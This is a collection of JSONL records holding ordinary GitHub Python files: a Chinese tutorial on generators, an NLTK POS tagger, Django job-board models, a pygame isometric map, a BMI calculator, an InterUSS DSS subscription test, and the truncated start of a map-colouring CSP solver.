+{"seq_id":"22082261341","text":"\n'''\n迭代器\n迭代是Python最强大的功能之一,是访问集合元素的一种方式。。\n\n迭代器是一个可以记住遍历的位置的对象。\n\n迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。\n\n迭代器有两个基本的方法:iter() 和 next()。\n\n字符串,列表或元组对象都可用于创建迭代器:\n\n>>>list=[1,2,3,4]\n>>> it = iter(list) # 创建迭代器对象\n>>> print (next(it)) # 输出迭代器的下一个元素\n1\n>>> print (next(it))\n2\n'''\n# 迭代器对象可以使用常规for语句进行遍历:\nlist=[1,2,3,4]\nit = iter(list) # 创建迭代器对象\nfor x in it:\n print (x, end=\" \")\n \n\n'''\nlist=[1,2,3,4]\nit = iter(list) # 创建迭代器对象\nwhile True:\n try:\n print (next(it))\n except StopIteration:\n sys.exit()\n'''\n\n\n'''\n生成器\n在 Python 中,使用了 yield 的函数被称为生成器(generator)。\n\n跟普通函数不同的是,生成器是一个返回迭代器的函数,只能用于迭代操作,更简单点理解生成器就是一个迭代器。\n\n在调用生成器运行的过程中,每次遇到 yield 时函数会暂停并保存当前所有的运行信息,返回yield的值。并在下一次执行 next()方法时从当前位置继续运行。\n\n一个函数 f,f 返回一个 list,这个 list 是动态计算出来的(不管是数学上的计算还是逻辑上的读取格式化),\n并��这个 list 会很大(无论是固定很大还是随着输入参数的增大而增大),\n这个时候,我们希望每次调用这个函数并使用迭代器进行循环的时候一个一个的得到每个 list 元素而不是直接得到一个完整的 list 来节省内存,这个时候 yield 就很有用。\n\n简单地讲,yield 的作用就是把一个函数变成一个 generator,带有 yield 的函数不再是一个普通函数,\nPython 解释器会将其视为一个 generator,调用 fibonacci(5) 不会执行 fab 函数,而是返回一个 iterable 对象!\n在 for 循环执行时,每次循环都会执行 fibonacci 函数内部的代码,执行到 yield b 时,\nfibonacci 函数就返回一个迭代值,下次迭代时,代码从 yield b 的下一条语句继续执行,\n而函数的本地变量看起来和上次中断执行前是完全一样的,于是函数继续执行,直到再次遇到 yield。\n当函数执行结束时,generator 自动抛出 StopIteration 异常,表示迭代完成。在 for 循环里,无需处理 StopIteration 异常,循环会正常结束。\n\n以下实例使用 yield 实现斐波那契数列:\n'''\nprint()\nprint(\"生成器函数 - 斐波那契\")\ndef fibonacci(n): # 生成器函数 - 斐波那契\n a, b, counter = 0, 1, 0\n while True:\n if (counter > n):\n return\n yield b\n a, b = b, a + b\n counter += 1\n \nf = fibonacci(10) # f 是一个迭代器,由生成器返回生成\nfor x in f : \n print (x, end=\" \")\n\n'''\nwhile True:\n try:\n print (next(f), end=\" \")\n except StopIteration:\n sys.exit()\n'''\n\n\nprint()\nl = [i for i in range(0,15)]\nprint(l)\n# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]\n\nm = (i for i in range(0,15))\nprint(m)\n# at 0x104b6f258>\nfor g in m:\n print(g,end=', ')\n\n\n'''\n通过 iterable 对象来迭代\n\nfor i in range(1000): pass\n会导致生成一个 1000 个元素的 List,而代码:\n\nfor i in xrange(1000): pass\n则不会生成一个 1000 个元素的 List,而是在每次迭代中返回下一个数值,内存空间占用很小。因为 xrange 不返回 List,而是返回一个 iterable 对象。\n'''\n\n# for i in xrange(1000): pass\n\n\nclass Fab(object):\n def __init__(self, max):\n self.max = max\n self.n, self.a, self.b = 0, 0, 1\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.n < self.max:\n r = self.b\n self.a, self.b = self.b, self.a + self.b\n self.n = self.n + 1\n return r\n raise StopIteration()\n\nfor n in Fab(5):\n print(n)\n\n\n'''\n一个带有 yield 的函数就是一个 generator,它和普通函数不同,生成一个 generator 看起来像函数调用,但不会执行任何函数代码,\n直到对其调用 next()(在 for 循环中会自动调用 next())才开始执行。虽然执行流程仍按函数的流程执行,\n但每执行到一个 yield 语句就会中断,并返回一个迭代值,下次执行时从 yield 的下一个语句继续执行。\n看起来就好像一个函数在正常执行的过程中被 yield 中断了数次,每次中断都会通过 yield 返回当前的迭代值。\n\nyield 的好处是显而易见的,把一个函数改写为一个 generator 就获得了迭代能力,\n比起用类的实例保存状态来计算下一个 next() 的值,不仅代码简洁,而且执行流程异常清晰。\n'''\n\n# 如何判断一个函数是否是一个特殊的 generator 函数?可以利用 isgeneratorfunction 判断:\nfrom inspect import isgeneratorfunction\nprint(isgeneratorfunction(fibonacci))\n\n# 要注意区分 fibonacci 和 fibonacci(5),fibonacci 是一个 generator function,而 fibonacci(5) 是调用 fibonacci 返回的一个 generator,好比类的定义和类的实例的区别:\nimport types\nprint(isinstance(fibonacci, types.GeneratorType))\n# False\nprint(isinstance(fibonacci(5), types.GeneratorType))\n# True\n\n# fibonacci 是无法迭代的,而 fibonacci(5) 是可迭代的:\nfrom collections import Iterable\nprint(isinstance(fibonacci, Iterable))\n# False\nprint(isinstance(fibonacci(5), Iterable))\n# True\n\n\n'''\nreturn 的作用\n在一个 generator function 中,如果没有 return,则默认执行至函数完毕,如果在执行过程中 return,则直接抛出 StopIteration 终止迭代。\n'''\n\n\n'''\n另一个例子\n另一个 yield 的例子来源于文件读取。如果直接对文件对象调用 read() 方法,会导致不可预测的内存占用。好的方法是利用固定长度的缓冲区来不断读取文件内容。通过 yield,我们不再需要编写读文件的迭代类,就可以轻松实现文件读取:\n\n清单 9. 另一个 yield 的例子\n\n实例\ndef read_file(fpath):\nBLOCK_SIZE = 1024\nwith open(fpath, 'rb') as f:\nwhile True:\nblock = f.read(BLOCK_SIZE)\nif block:\nyield block\nelse:\nreturn\n'''\n\n\n\n","repo_name":"AndroidHarry/python","sub_path":"runoob/python-yield-used-analysis.py","file_name":"python-yield-used-analysis.py","file_ext":"py","file_size_in_byte":6403,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37490637741","text":"import nltk\nfrom featureextractors import pos_features\n\n\nclass ConsecutivePosTagger(nltk.TaggerI):\n\n def __init__(self, train_sents, features=pos_features):\n self.features = features\n train_set = []\n for tagged_sent in train_sents:\n untagged_sent = nltk.tag.untag(tagged_sent)\n history = []\n for i, (word, tag) in enumerate(tagged_sent):\n featureset = features(untagged_sent, i, history)\n train_set.append( (featureset, tag) )\n history.append(tag)\n self.classifier = nltk.NaiveBayesClassifier.train(train_set)\n\n def tag(self, sentence):\n history = []\n for i, word in enumerate(sentence):\n featureset = self.features(sentence, i, history)\n tag = self.classifier.classify(featureset)\n history.append(tag)\n return zip(sentence, history)\n","repo_name":"hutor04/UiO","sub_path":"in4080/oblig2/consecutivepostagger.py","file_name":"consecutivepostagger.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20845076544","text":"from django.db import models\n\n\n# Create your models here.\nclass PelamarKerja(models.Model):\n idpelamarkerja = models.AutoField(primary_key=True)\n nama = models.CharField(max_length=255, blank=True, null=True)\n email = models.CharField(max_length=255, blank=True, null=True)\n alamat = models.CharField(max_length=255, blank=True, null=True)\n skill = models.CharField(max_length=255, blank=True, null=True)\n pendidikan_terakhir = models.CharField(max_length=255, blank=True, null=True)\n\n def __str__(self):\n return self.nama\n\n class Meta:\n db_table = 'pelamarkerja'\n verbose_name = 'Pelamar Kerja'\n verbose_name_plural = 'Pelamar Kerja'\n\n\nclass PemberiKerja(models.Model):\n idpemberikerja = models.AutoField(primary_key=True)\n nama = models.CharField(max_length=255, blank=True, null=True)\n email = models.CharField(max_length=255, blank=True, null=True)\n perusahaan = models.CharField(max_length=255, blank=True, null=True)\n\n def __str__(self):\n return f'{self.nama}({self.perusahaan})'\n\n class Meta:\n db_table = 'pemberikerja'\n verbose_name = 'Pemberi Kerja'\n verbose_name_plural = 'Pemberi Kerja'\n\n\nclass Pekerjaan(models.Model):\n idpemberikerjapekerjaan = models.AutoField(primary_key=True)\n namapekerjaan = models.CharField(max_length=255, blank=True, null=True)\n id_pemberikerja = models.ForeignKey(PemberiKerja, models.CASCADE, db_column='id_pemberikerja', blank=True, null=True)\n gaji = models.IntegerField(blank=True, null=True)\n\n def __str__(self):\n return f'{self.namapekerjaan} dari {self.id_pemberikerja}'\n\n class Meta:\n db_table = 'pemberikerja_pekerjaan'\n verbose_name = 'Pekerjaan'\n verbose_name_plural = 'Pekerjaan'\n\n\nclass PekerjaanPelamarKerja(models.Model):\n idpemberikerjapekerjaanpelamarkerja = models.AutoField(primary_key=True)\n id_pemberikerja_pekerjaan = models.ForeignKey(Pekerjaan, models.CASCADE, db_column='id_pemberikerja_pekerjaan', blank=True, null=True)\n id_pelamarkerja = models.ForeignKey(PelamarKerja, models.CASCADE, db_column='id_pelamarkerja', blank=True, null=True)\n tanggal_melamar = models.DateTimeField(blank=True, null=True)\n cover_letter = models.TextField(blank=True, null=True)\n gaji_yang_diminta = models.IntegerField(blank=True, null=True)\n\n def __str__(self):\n return f'{self.id_pemberikerja_pekerjaan}: {self.id_pelamarkerja}'\n\n class Meta:\n db_table = 'pemberikerja_pekerjaan_pelamarkerja'\n verbose_name = 'Daftar Pelamar'\n verbose_name_plural = 'Daftar Pelamar'\n\n constraints = [\n models.UniqueConstraint(fields=['id_pemberikerja_pekerjaan', 'id_pelamarkerja'],\n name='Pelamar tidak mungkin melamar yang sama 2x')\n ]\n","repo_name":"hendradev/equin-dj-docker","sub_path":"eddapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40270575110","text":"import pygame as pg\nimport noise\nimport random\nfrom camera import Camera\nfrom tiles import RockTile, Tile, TreeTile\nfrom settings import TILE_SIZE\nfrom utils import ImageContainer, cart_to_iso, draw_text, iso_to_cart\n\n\nclass World:\n def __init__(self, screen, grid_length_x, grid_length_y, width, height, hud) -> None:\n self.grid_x = grid_length_x\n self.grid_y = grid_length_y\n self.width = width\n self.height = height\n self.screen = screen\n self.hud = hud\n\n self.block_image = pg.image.load(\"../images/block.png\").convert_alpha()\n self.perlin_scale = grid_length_x / 2\n \n # case 1\n # surface rendering the tiles in that area\n # we double the tile size and grid length because in isometric pos like 128x64\n self.block_tiles = pg.Surface((grid_length_x * TILE_SIZE * 2 + TILE_SIZE / 3, \n grid_length_y * TILE_SIZE + TILE_SIZE * 2 + TILE_SIZE / 2)).convert_alpha()\n self.world_tiles = self.create_world()\n\n self.camera = Camera(width, height)\n\n self.temp_tile = None\n\n def create_world(self):\n # Creates grid object then stores the objects\n world_tiles = []\n for x in range(self.grid_x):\n world_tiles.append([])\n for y in range(self.grid_y):\n\n tile = self.create_grid(x, y)\n world_tiles[x].append(tile)\n # case 2\n # some of tiles will be rendered in negative positions, and due to the fact that the surface doesn't take \n # negative values, we will use the half of the grass surface as offset in order to render the block tiles\n render_pos = tile.render_pos\n self.block_tiles.blit(self.block_image,\n (render_pos[0] + self.block_tiles.get_width()/2,\n render_pos[1]))\n\n return world_tiles\n \n def create_grid(self, grid_x, grid_y):\n # Creates Tile object and return \n # 1- 64x64 Grid\n # 2- 64x64 Grid with aligned offsets on X axes\n # 3- 64x64 Grid with aligned offsets on both axes \n # 4- 64x64 Grid with aligned offsets on Y axes\n rect = [\n (grid_x * TILE_SIZE, grid_y * TILE_SIZE), \n (grid_x * TILE_SIZE + TILE_SIZE, grid_y * TILE_SIZE),\n (grid_x * TILE_SIZE + TILE_SIZE, grid_y * TILE_SIZE + TILE_SIZE),\n (grid_x * TILE_SIZE, grid_y * TILE_SIZE + TILE_SIZE)]\n\n # convert cartesan pos to isometric pos\n iso_poly = [cart_to_iso(x, y) for x, y in rect]\n \n # to get the left corner of isometric pos in order to draw the image properly,\n # which requries to get min values of x and y axes\n min_x = min([x for x, y in iso_poly])\n min_y = min([y for x, y in iso_poly])\n \n # generates two dimensional values\n perlin = 100 * noise.pnoise2(grid_x/self.perlin_scale, \n grid_y/self.perlin_scale) \n r = random.randint(1, 100)\n if perlin >= 15 or perlin <= -35:\n tile = TreeTile(grid_x, grid_y, rect, iso_poly, [min_x, min_y])\n else:\n if r <= 5:\n tile = TreeTile(grid_x, grid_y, rect, iso_poly, [min_x, min_y])\n elif r <= 10:\n tile = RockTile(grid_x, grid_y, rect, iso_poly, [min_x, min_y])\n else:\n tile = Tile(grid_x, grid_y, rect, iso_poly, [min_x, min_y])\n\n return tile\n\n def update(self):\n # updates camera's positions\n self.camera.update()\n mouse_pos = pg.mouse.get_pos()\n self.temp_tile = None\n\n if self.hud.selected_tile != None:\n grid_pos = self.mouse_to_grid(mouse_pos[0], mouse_pos[1], self.camera.scroll)\n if self.hud.can_place_tile(grid_pos):\n img = self.hud.selected_tile.image.copy()\n img.set_alpha(100)\n render_pos = self.world_tiles[grid_pos[0]][grid_pos[1]].render_pos\n self.temp_tile = Tile(image=img, render_pos=render_pos)\n\n def draw(self):\n\n # Draw Tile (block) and add offset to the render position to center the tile as batch\n # so that it would not allocate the memory a lot\n self.screen.blit(self.block_tiles, (self.camera.scroll.x, self.camera.scroll.y))\n \n for x in range(self.grid_x):\n for y in range(self.grid_y):\n \n # Draw rectangular\n # cart_grid_pos = self.world_tiles[x][y].cart_rect\n # rect = pg.Rect(cart_grid_pos[0][0], cart_grid_pos[0][1], TILE_SIZE, TILE_SIZE)\n # pg.draw.rect(self.screen, (255, 0, 0), rect, 1)\n\n # Draw block image\n # self.screen.blit(block_image, \n # (render_pos[0] + self.width/2,\n # render_pos[1] + self.height/4))\n \n render_pos = self.world_tiles[x][y].render_pos\n # Draw polygon\n p = self.world_tiles[x][y].iso_poly\n # Add offset the positions\n p = [(x + self.block_tiles.get_width()/2 + self.camera.scroll.x, y + self.camera.scroll.y) for x, y in p]\n pg.draw.polygon(self.screen, (0, 255, 0), p, 1)\n\n # Draw trees and stones randomly using perlin noise\n # If the tiles exceed the threshold of block tiles you should extract y axes from difference height between image and tile\n # due to this reason the screen will start rendering plus offset position but not in the middle of the screen\n if self.world_tiles[x][y].tile_name != \"block\":\n self.screen.blit(self.world_tiles[x][y].image, \n (render_pos[0] + self.block_tiles.get_width()/2 + self.camera.scroll.x,\n render_pos[1] - (self.world_tiles[x][y].image.get_height() - TILE_SIZE) + self.camera.scroll.y))\n\n \n # Draw temporary tile on the screen\n if self.temp_tile != None:\n tem_pos = self.temp_tile.render_pos\n self.screen.blit(self.temp_tile.image,\n (tem_pos[0] + self.block_tiles.get_width() / 2 + self.camera.scroll.x,\n tem_pos[1] - (self.temp_tile.image.get_height() - TILE_SIZE) + self.camera.scroll.y))\n \n # font = pg.font.SysFont('arial', 50)\n # text = font.render(\"1\", True, (0, 0, 0)).convert_alpha()\n # self.screen.blit(text,\n # (render_pos[0] + self.block_tiles.get_width()/2 + self.camera.scroll.x,\n # render_pos[1] + self.camera.scroll.y))\n\n def mouse_to_grid(self, x, y, scroll):\n # transform world position removing the camera scroll and offsets\n world_x = x - scroll.x - self.block_tiles.get_width()/2\n world_y = y - scroll.y\n\n cart_x, cart_y = iso_to_cart(world_x, world_y)\n\n grid_x = int(cart_x // TILE_SIZE)\n grid_y = int(cart_y // TILE_SIZE)\n\n return grid_x, grid_y","repo_name":"xddemir/StrategyGameFreezed","sub_path":"script/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":7310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20516076004","text":"# Proyecto 1: Calculadora de I.M.C.\n# UCamper: Michel Amir Madrigal Torres\n# Bootcamp: Fundamentos de Python\n# Coach: Gustavo Mota\n# Grupo: C5\n\nwhile True:\n\n nombre = input(\"Hola, ¿cómo se encuentra hoy?, ingrese de favor su nombre(s): \")\n if not nombre.__str__():\n print(\"Este campo es obligatorio, favor de llenarlo\")\n continue\n break \nwhile True:\n\n apellidoPaterno = input(\"Ingrese de favor su apellido paterno: \")\n if not apellidoPaterno.isalpha():\n print(\"Este campo es obligatorio, favor de llenarlo\")\n continue\n break \n \nwhile True:\n\n apellidoMaterno = input(\"Ingrese de favor su apellido materno: \")\n if not apellidoMaterno.isalpha():\n print(\"Este campo es obligatorio, favor de llenarlo\")\n continue\n break \n \n\nwhile True:\n try:\n edad = int(input(\"¿Cuál es su edad?: \"))\n except ValueError:\n print(\"Debe ingresar una cifra por favor\")\n continue\n break\nwhile True:\n try:\n peso = float(input(\"¿Cuál es su peso?: \"))\n except ValueError:\n print(\"Debe ingresar una cifra por favor\")\n continue\n break\nwhile True:\n try:\n estatura = float(input(\"¿Cuánto mide?: \"))\n except ValueError:\n print(\"Debe ingresar una cifra por favor\")\n continue\n break\n\ntamaño = estatura\nIMC= peso/tamaño**2\n\nprint(\"Nombre(s): \" + nombre)\nprint(\"Apellido Paterno: \" + apellidoPaterno)\nprint(\"Apellido Materno: \" + apellidoMaterno)\nprint(\"Tengo: \" + str(edad) + \" años\")\nprint(\"Peso: \" + str(peso) + \" Kg\")\nprint(\"Mido: \" + str(estatura) + \" m\") \nprint(\"Su IMC es de: \" + str(IMC)) \n\nif IMC < 18.5:\n print(\"Cuidado, su peso es muy bajo, se recomienda dieta\")\nelif 18.5 <= IMC and IMC < 25:\n print(\"¡Felicidades, está en tu peso ideal, siga así!\")\nelif 25 <= IMC and IMC < 30:\n print(\"Cuidado, presenta sobrepeso, se recomienda dieta\")\nelse:\n print(\"¡Atención, presenta obesidad, acuda con un especialista!\")","repo_name":"Michael-String/Calculadora-IMC","sub_path":"Calculadora de IMC_Michel.Madrigal.py","file_name":"Calculadora de IMC_Michel.Madrigal.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1189956703","text":"from typing import Optional\n\nimport arrow\n\nfrom monitoring.prober.infrastructure import register_resource_type\nfrom monitoring.uss_qualifier.common_data_definitions import Severity\nfrom monitoring.uss_qualifier.resources.astm.f3411.dss import DSSInstanceResource\nfrom monitoring.uss_qualifier.resources.interuss.id_generator import IDGeneratorResource\nfrom monitoring.uss_qualifier.resources.netrid.service_area import ServiceAreaResource\nfrom monitoring.uss_qualifier.scenarios.astm.netrid.common.dss import utils\nfrom monitoring.uss_qualifier.scenarios.astm.netrid.dss_wrapper import DSSWrapper\nfrom monitoring.uss_qualifier.scenarios.scenario import GenericTestScenario\nfrom monitoring.uss_qualifier.suites.suite import ExecutionContext\n\n\nclass ISASubscriptionInteractions(GenericTestScenario):\n \"\"\"Based on the test_subscription_isa_interactions.py from the legacy prober tool.\"\"\"\n\n ISA_TYPE = register_resource_type(370, \"ISA\")\n\n def __init__(\n self,\n dss: DSSInstanceResource,\n id_generator: IDGeneratorResource,\n isa: ServiceAreaResource,\n ):\n super().__init__()\n self._dss = (\n dss.dss_instance\n ) # TODO: delete once _delete_isa_if_exists updated to use dss_wrapper\n self._dss_wrapper = DSSWrapper(self, dss.dss_instance)\n self._isa_id = id_generator.id_factory.make_id(\n ISASubscriptionInteractions.ISA_TYPE\n )\n # sub id is isa_id with last character replaced with '1'\n # (the generated isa_id ends with a few '0's)\n self._sub_id = self._isa_id[:-1] + \"1\"\n self._isa_version: Optional[str] = None\n self._isa = isa.specification\n\n now = arrow.utcnow().datetime\n self._isa_start_time = self._isa.shifted_time_start(now)\n self._isa_end_time = self._isa.shifted_time_end(now)\n self._isa_area = [vertex.as_s2sphere() for vertex in self._isa.footprint]\n\n def run(self, context: ExecutionContext):\n self.begin_test_scenario(context)\n\n self._setup_case()\n\n self.begin_test_case(\"ISA Subscription Interactions\")\n self.begin_test_step(\"ISA Subscription Interactions\")\n\n self._check_subscription_behaviors()\n\n self.end_test_step()\n self.end_test_case()\n self.end_test_scenario()\n\n def _check_subscription_behaviors(self):\n \"\"\"\n - Create an ISA.\n - Create a subscription, response should include the pre-existing ISA and have a notification_index of 0.\n - Modify the ISA, response should include the subscription with an incremented notification_index.\n - Delete the ISA, response should include the subscription with an incremented notification_index.\n - Delete the subscription.\n \"\"\"\n\n # Create an ISA\n with self.check(\"Create an ISA\", [self._dss.participant_id]) as check:\n created_isa = self._dss_wrapper.put_isa_expect_response_code(\n check=check,\n expected_error_codes={200},\n area_vertices=self._isa_area,\n alt_lo=self._isa.altitude_min,\n alt_hi=self._isa.altitude_max,\n start_time=self._isa_start_time,\n end_time=self._isa_end_time,\n uss_base_url=self._isa.base_url,\n isa_id=self._isa_id,\n isa_version=None,\n )\n\n # Create a subscription\n with self.check(\n \"Create a subscription within the ISA footprint\", [self._dss.participant_id]\n ) as check:\n created_subscription = self._dss_wrapper.put_sub(\n check=check,\n area_vertices=self._isa_area,\n alt_lo=self._isa.altitude_min,\n alt_hi=self._isa.altitude_max,\n start_time=self._isa_start_time,\n end_time=self._isa_end_time,\n uss_base_url=self._isa.base_url,\n sub_id=self._sub_id,\n sub_version=None,\n )\n\n # Check the subscription\n with self.check(\n \"Subscription for the ISA's area mentions the ISA\",\n [self._dss.participant_id],\n ) as check:\n if created_isa.dss_query.isa.id not in [\n isa.id for isa in created_subscription.isas\n ]:\n check.record_failed(\n summary=\"Subscription response does not include the freshly created ISA\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=f\"The subscription created for the area {self._isa_area} is expected to contain the ISA created for this same area. The returned subscription did not mention it.\",\n query_timestamps=[\n created_isa.dss_query.query.request.timestamp,\n created_subscription.query.request.timestamp,\n ],\n )\n\n with self.check(\n \"Newly created subscription has a notification_index of 0\",\n [self._dss.participant_id],\n ) as check:\n if created_subscription.subscription.notification_index != 0:\n check.record_failed(\n summary=\"Subscription notification_index is not 0\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=f\"The subscription created for the area {self._isa_area} is expected to have a notification_index of 0. The returned subscription has a notification_index of {created_subscription.subscription.notification_index}.\",\n query_timestamps=[created_subscription.query.request.timestamp],\n )\n\n # Modify the ISA\n with self.check(\n \"Mutate the ISA\",\n [self._dss.participant_id],\n ) as check:\n mutated_isa = self._dss_wrapper.put_isa_expect_response_code(\n check=check,\n expected_error_codes={200},\n area_vertices=self._isa_area,\n alt_lo=self._isa.altitude_min,\n alt_hi=self._isa.altitude_max - 1, # reduce max altitude by one meter\n start_time=self._isa_start_time,\n end_time=self._isa_end_time,\n uss_base_url=self._isa.base_url,\n isa_id=self._isa_id,\n isa_version=created_isa.dss_query.isa.version,\n )\n\n # Check that the subscription ID is returned in the response\n with self.check(\n \"Response to the mutation of the ISA contains subscription ID\",\n [self._dss.participant_id],\n ) as check:\n\n subs_to_mutated_isa = {}\n for returned_subscriber in mutated_isa.dss_query.subscribers:\n for sub_in_subscriber in returned_subscriber.raw.subscriptions:\n subs_to_mutated_isa[\n sub_in_subscriber.subscription_id\n ] = sub_in_subscriber\n\n if created_subscription.subscription.id not in subs_to_mutated_isa.keys():\n check.record_failed(\n summary=\"ISA mutation response does not contain expected subscription ID\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=\"Mutating an ISA to which a subscription was made, the DSS failed to return the subscription ID in the response.\",\n query_timestamps=[\n created_isa.dss_query.query.request.timestamp,\n created_subscription.query.request.timestamp,\n mutated_isa.dss_query.query.request.timestamp,\n ],\n )\n\n # Check that the subscription index has been incremented by least by 1\n sub_to_mutated_isa = subs_to_mutated_isa.get(\n created_subscription.subscription.id\n )\n if sub_to_mutated_isa is not None:\n with self.check(\n \"Subscription to an ISA has its notification index incremented after mutation\",\n [self._dss.participant_id],\n ) as check:\n if sub_to_mutated_isa.notification_index <= 0:\n check.record_failed(\n summary=\"Subscription notification_index has not been increased\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=f\"The subscription created for the area {self._isa_area} is expected to have a notification_index of 1 or more. The returned subscription has a notification_index of {subs_to_mutated_isa[created_subscription.subscription.id].notification_index}.\",\n query_timestamps=[created_subscription.query.request.timestamp],\n )\n\n # Delete the ISA\n with self.check(\n \"Delete the ISA\",\n [self._dss.participant_id],\n ) as check:\n deleted_isa = self._dss_wrapper.del_isa_expect_response_code(\n main_check=check,\n expected_error_codes={200},\n isa_id=mutated_isa.dss_query.isa.id,\n isa_version=mutated_isa.dss_query.isa.version,\n )\n\n # Check response to deletion of ISA\n with self.check(\n \"Response to the deletion of the ISA contains subscription ID\",\n [self._dss.participant_id],\n ) as check:\n\n subs_to_deleted_isa = {}\n for returned_subscriber in deleted_isa.dss_query.subscribers:\n for sub_in_subscriber in returned_subscriber.raw.subscriptions:\n subs_to_deleted_isa[\n sub_in_subscriber.subscription_id\n ] = sub_in_subscriber\n\n if created_subscription.subscription.id not in subs_to_deleted_isa:\n check.record_failed(\n summary=\"ISA deletion response does not contain expected subscription ID\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=\"Deleting an ISA to which a subscription was made, the DSS failed to return the subscription ID in the response.\",\n query_timestamps=[\n created_isa.dss_query.query.request.timestamp,\n created_subscription.query.request.timestamp,\n deleted_isa.dss_query.query.request.timestamp,\n ],\n )\n\n for subscriber_url, notification in deleted_isa.notifications.items():\n # For checking the notifications, we ignore the request we made for the subscription that we created.\n if self._isa.base_url not in subscriber_url:\n pid = (\n notification.query.participant_id\n if \"participant_id\" in notification.query\n else None\n )\n with self.check(\"Notified subscriber\", [pid] if pid else []) as check:\n if not notification.success:\n check.record_failed(\n \"Could not notify ISA subscriber\",\n Severity.Medium,\n f\"Attempting to notify subscriber for ISA {self._isa_id} at {subscriber_url} resulted in {notification.status_code}\",\n query_timestamps=[notification.query.request.timestamp],\n )\n\n subs_after_deletion = subs_to_deleted_isa.get(\n created_subscription.subscription.id\n )\n if subs_after_deletion is not None:\n with self.check(\n \"Subscription to an ISA has its notification index incremented after deletion\",\n [self._dss.participant_id],\n ) as check:\n if (\n subs_after_deletion.notification_index\n <= sub_to_mutated_isa.notification_index\n ):\n check.record_failed(\n summary=\"Subscription notification_index has not been incremented\",\n severity=Severity.High,\n participants=[self._dss.participant_id],\n details=f\"The subscription created for the area {self._isa_area} is expected to have its notification increased after the subscription was deleted.\"\n f\"The returned subscription has a notification_index of {subs_after_deletion.notification_index}, whilte the previous notification_index for that subscription was {sub_to_mutated_isa.notification_index}\",\n query_timestamps=[created_subscription.query.request.timestamp],\n )\n\n # Delete the subscription\n with self.check(\n \"Successful subscription deletion\",\n [self._dss.participant_id],\n ) as check:\n self._dss_wrapper.del_sub(\n check=check,\n sub_id=self._sub_id,\n sub_version=created_subscription.subscription.version,\n )\n\n def _setup_case(self):\n self.begin_test_case(\"Setup\")\n\n def _ensure_clean_workspace_step():\n self.begin_test_step(\"Ensure clean workspace\")\n\n self._delete_isa_if_exists()\n self._clean_any_sub()\n\n self.end_test_step()\n\n _ensure_clean_workspace_step()\n\n self.end_test_case()\n\n def _delete_isa_if_exists(self):\n utils.delete_isa_if_exists(\n self,\n isa_id=self._isa_id,\n rid_version=self._dss.rid_version,\n session=self._dss.client,\n participant_id=self._dss_wrapper.participant_id,\n )\n\n def _clean_any_sub(self):\n self._dss_wrapper.cleanup_subs_in_area(self._isa_area)\n\n def cleanup(self):\n self.begin_cleanup()\n\n self._delete_isa_if_exists()\n self._clean_any_sub()\n\n self.end_cleanup()\n","repo_name":"interuss/monitoring","sub_path":"monitoring/uss_qualifier/scenarios/astm/netrid/common/dss/isa_subscription_interactions.py","file_name":"isa_subscription_interactions.py","file_ext":"py","file_size_in_byte":14140,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"39653733994","text":"#CSP_singleton for American States and Australian States\r\nstates=[]\r\nfull = []\r\nrestriction_graph={}\r\nback_propagation = 0\r\nfrom copy import deepcopy\r\nfrom input_files import csp_singleton_america_states,csp_singleton_america_graph,csp_singleton_australia_states,csp_singleton_australia_graph\r\nimport time\r\n\r\n\"\"\"\r\nIntialising the states to assign the corresponding colors to each state\r\nso that we may not run into error.\r\n\"\"\"\r\nclass State:\r\n \"\"\"\r\n This is the constructor class for intialising the state object\r\n with the default.\r\n \"\"\"\r\n def __init__(self,name,domain,status=\"not visited\"):\r\n self.state_name=name\r\n self.state_colour_name=None\r\n self.state_singleton=False\r\n self.state_domain=domain\r\n self.state_adjacent=None\r\n self.state_status=status\r\n \r\n \r\n \"\"\"\r\n Setting the states adjacent state to find the color of the\r\n current state.\r\n \"\"\"\r\n def set_state_adjacent(self,state_adjacent):\r\n self.state_adjacent=state_adjacent\r\n \"\"\"\r\n Getting the adjacent states object to know about their current\r\n state.\r\n \"\"\" \r\n def get_state_adjacent(self):\r\n return self.state_adjacent\r\n \"\"\"\r\n Assigning color to the current state.\r\n \"\"\"\r\n def assigning_colour(self,state_color):\r\n self.state_colour_name=state_color\r\n \"\"\"\r\n Setting the state parent to know about the colors of the \r\n parent and comparing with the descendents.\r\n \"\"\"\r\n def set_state_predeccors(self,predeccors):\r\n self.parent=predeccors\r\n \"\"\"\r\n Setting the state domain.\r\n \"\"\"\r\n def setting_state_domain(self,state_domain):\r\n self.state_domain=state_domain\r\n \"\"\"\r\n Getting the state_domain.\r\n These are the getters and the setters function.\r\n \"\"\"\r\n def gettng_state_domain(self):\r\n return self.state_domain\r\n \"\"\"\r\n To find the current state is singleton or not\r\n \"\"\"\r\n def check_whether_singleton(self):\r\n if self.state_singleton:\r\n return self.state_singleton\r\n return False\r\n \r\n\"\"\"\r\nThis function is used to get the available state from the current\r\nstate and seeing whether the states is currently traversed or not.\r\n\"\"\"\r\ndef states_that_currently_available(objects):\r\n states_that_traversed=[]\r\n for _ in objects:\r\n if _.state_status==\"not visited\":\r\n states_that_traversed.append(_)\r\n return states_that_traversed\r\n\r\n\"\"\"\r\nThis function is used to select the color from the list \r\nto find out whether there is any color available in the list or not.\r\n\"\"\"\r\ndef colors_that_can_be_assigned(state,state_domain):\r\n domain_free=state_domain.copy()\r\n 